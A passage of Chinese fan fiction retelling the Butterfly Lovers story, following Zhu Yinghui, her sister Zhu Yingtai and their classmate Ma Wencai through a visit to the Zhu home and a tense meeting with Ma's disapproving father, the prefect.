祝英台一听,连忙问:“病得如何?” 小厮回答:“不算严重,不过有些不好看罢了。” 那就是没事儿,只是涕泗横流难以见人罢了,祝英台放了心,给他让开了位置:“那你快些去吧。” 小厮欸了一声,一溜烟儿就不见了人影,门房从缝隙里看清楚了三个人,连忙招呼其他人牵马的牵马,拿行李的拿行李,又有一个仆从往内堂去,高声通报:“公子们回来了!” 祝夫人听得外面熙熙攘攘的,又仿佛听见有人吵闹,说是公子们回来了,心下纳罕,八个儿子都好生生在家中呢,唯独女儿不在,怎的又是公子们回来了。 不多时,一个小婢女,叫燕儿的笑着进来道:“夫人刚还念叨两位小姐呢,真是母女联系,现下小姐们便到了家!” 祝夫人身边的大丫头徽墨问她:“那外面怎么说是公子回来了?” 燕儿道:“两位小姐身边还有一位同路的同窗,其余人怕露馅,才说是公子们回来了。” “同窗?”祝夫人惊奇“可看见什么样?” 燕儿想了想:“我倒也没见着,只是听来通传的小厮说,生得极好,只是人看着有些傲,不怎么言笑。” 祝夫人心里头一琢磨,吩咐燕儿:“既然是同窗来了,自然没有不招呼就让人走了的道理,你去告诉老爷一声,免得他们小孩子家家的胡闹。” 燕儿诶了一声,便出去了。 不多时,三人被引着庭院,进了厅堂时,茶水点心一应俱全,更有府中管家殷勤备至。 祝英台翻了个白眼儿,借着茶杯的遮掩,悄悄跟姐姐说话:“我就知道是这样。” 祝英回向另一头挑挑眉:“如何,我家接待你够殷勤了?” 还没来得及开口说做客,就被请进来的马文才:…… 他是真的很费解:“我不曾自报家门,伯父伯母为何如此热情?” 祝氏姊妹对视一眼,不约而同地笑了起来,马文才是临时才想到要来她们家的,但祝家父母可是从春节就心心念念地盯上了他。 一杯茶还没喝完,祝父祝母的身影就出现在了门口。 马文才遮掩傲气,周全礼数:“伯父伯母安好。” 全然不见春节宴会时的疏离和寡言,不得不说,这着实是让祝父爽到了的。 他笑容更大了:“贤侄请起。” 祝英回只当自己不存在,安安静静地行礼,而后坐回了位置上。 自从祝父祝母出现的时候,她一瞬间便沉静了下来,连笑容都安静下来。 在马文才说端午要来寻她出去的时候,祝父祝母一口答应了下来。 不过片刻,马文才便告辞了,祝英回送他出门,就在仆人把马牵来的时候,那间于青年与少年之间的人忽而侧眼看他:“英回,不要忍耐着继续留在这里了。” “我不会叫你背上不孝的罪名的。” 心脏重重地跳了一下,仿佛被什么东西锲而不舍地包裹,祝英回只觉得酸疼之感一层层泛开。 在阳光下宛如青竹松柏的恋人,却在刚才的一间小小厅堂中沉寂得几近枯萎。 从未有过的惊慌涌上心头,促使着他去做些什么,阻止这一切的发生,不让她真的被困死在那一方厅堂中。 祝英回笑了一下,很浅的笑意,却无比真实和温柔:“我心中有数。” 顿了一下,她忽而道:“若我无法,会来寻你帮忙的。” 马文才应了一声,却浑然不觉这是个什么样的承诺。 我愿意信任你,愿意在脆弱的时候向你寻求帮助。 我相信你绝不会对我的痛苦视若无睹,哪怕这痛苦在所有人看来都是理所应当。 不要辜负我的信任。 马文才离开了,但没有完全离开。 他太过敏锐了,祝英回暂时不愿离去,他便日日来寻,今日约她去看龙舟下水,明日请她去放马三山,除去晚上的时间外,绝不叫她在那个家里度过一秒。 祝英回顶着祝父祝母一日日放光的眼神,却又不愿意拒绝他,便每日应邀外出。 左右她与这两位有着不可调和的矛盾,也不差这么点诱因了。 然而,相处久了,有些想法就会不由自主地冒 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祝英回的顾虑,马文才心领神会,所以他说:“我记得宫中有女骑女书的官职,若是她们愿意,日后寻个贵女写份荐书便是了。” 二人的话题从女骑女书官职一路滑到山川风物,朝堂政事。 然而,今天却仿佛因为太顺利了,所以一定要给他们添个堵一样。 祝英回眼角看见了一个面色铁青的中年人,面目很是威严,此时怒火一起,便叫人心惊胆战。 马文才也注意到那个中年男子了,他的神色急转直下,下意识地往前一步,挡住了那人看祝英回的视线。 他这么一动作,祝英回不想知道也知道了此人是谁。 她内心叹了口气,大大方方地拱手行礼:“学生见过太守大人。” 马太守没有和她寒暄的意思,又或者说,打从刚才看见两人低声谈笑开始,他就没心思和这个人寒暄了。 自己的儿子自己了解,若真的只是朋友,马文才的态度绝不会如此温和。 君不见崔闫与其相识十余年,硬生生被表哥的态度搞得从崇拜变成了见到马文才就炸刺儿。 君不见王述被他儿子默认是朋友了,下手仍然毫不留情。 想到这几天马文才天天往外跑,马太守就恨得直咬牙,看着祝英回冷笑一声:“只希望你不要做韩嫣那种学生。” 祝英回并不意外,她伸手邀请:“太守大人,可否借一步说话。” 马太守看了一眼马文才,颇有些意外,点头:“好,本官且听听你有什么要说的。” 待到两人走到一边,马文才也被马太守带着的侍卫拦住了,祝英回往那边望了一眼,微微摇了摇头,示意马文才稍安勿躁。 看着她明目张胆在眼皮子底下跟自己儿子做小动作的马太守:…… 他倒真的有些欣赏这个人的心智了,如果马文才并非独子,马太守也会很高兴看见他和这么一个人喜结连理。 但很可惜,马文才就是,他必须有一个孩子。 所以这位会稽郡太守冷冰冰道:“有什么要说的,说就是了。”